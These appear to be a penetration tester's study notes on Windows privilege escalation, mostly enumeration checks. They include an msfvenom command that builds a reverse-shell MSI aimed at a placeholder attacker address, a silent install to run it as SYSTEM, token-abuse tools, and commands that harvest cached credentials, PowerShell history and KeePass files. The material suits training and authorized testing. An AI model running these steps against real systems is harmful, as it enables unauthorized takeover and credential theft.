03b. Windows Privilege Escalation
Resources
- [[PE Enumeration]]
- [[PE Attacks]]
- Abusing Tokens
- Hacktricks Checklist
Low Hanging Fruit
Token Abuse
whoami /priv>>SeImpersonatePrivilege- Use
PrintSpooferorGodPotato
Check AlwaysInstallElevated Registry
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedif returns with0x1make an MSI, it'll run as SYSTEMmsfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_ip LPORT=LOCAL_PORT -f msi -o malicious.msimsiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
Cached Credentials
cmdkey /list
Powershell History
Get-History
(Get-PSReadlineOption).HistorySavePath
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Checklist
- Get context, users, groups
whoaminet usernet groupwhoami /groups
- Check for tokens/privileges
whoami /priv>>SeImpersonatePrivilege
- Check registry keys
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated>>0x1
- Check for cached creds
cmdkey /list
- Check PowerShell History
(Get-PSReadlineOption).HistorySavePath
- Check running services for Unquoted or Non-default locations
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
- Check for non-default binaries looking for .dll files (like log files too)
C:\TEMP\???C:\Users\user\???C:\backup\???etc
- Check for useful files in User's directory
Get-ChildItem -Path C:\Users\ -Include *.txt -File -Recurse -ErrorAction SilentlyContinue*.log*.kdbx*.xmlliterally any weird files in user's directory
- Check for scheduled tasks run by higher level
Get-ScheduledTaskschtasks /queryschtasks /query /fo LIST /v
- Check for database files
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
- Check for config files
Get-ChildItem -Path C:\ -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
- Check installed packages
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displaynameGet-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname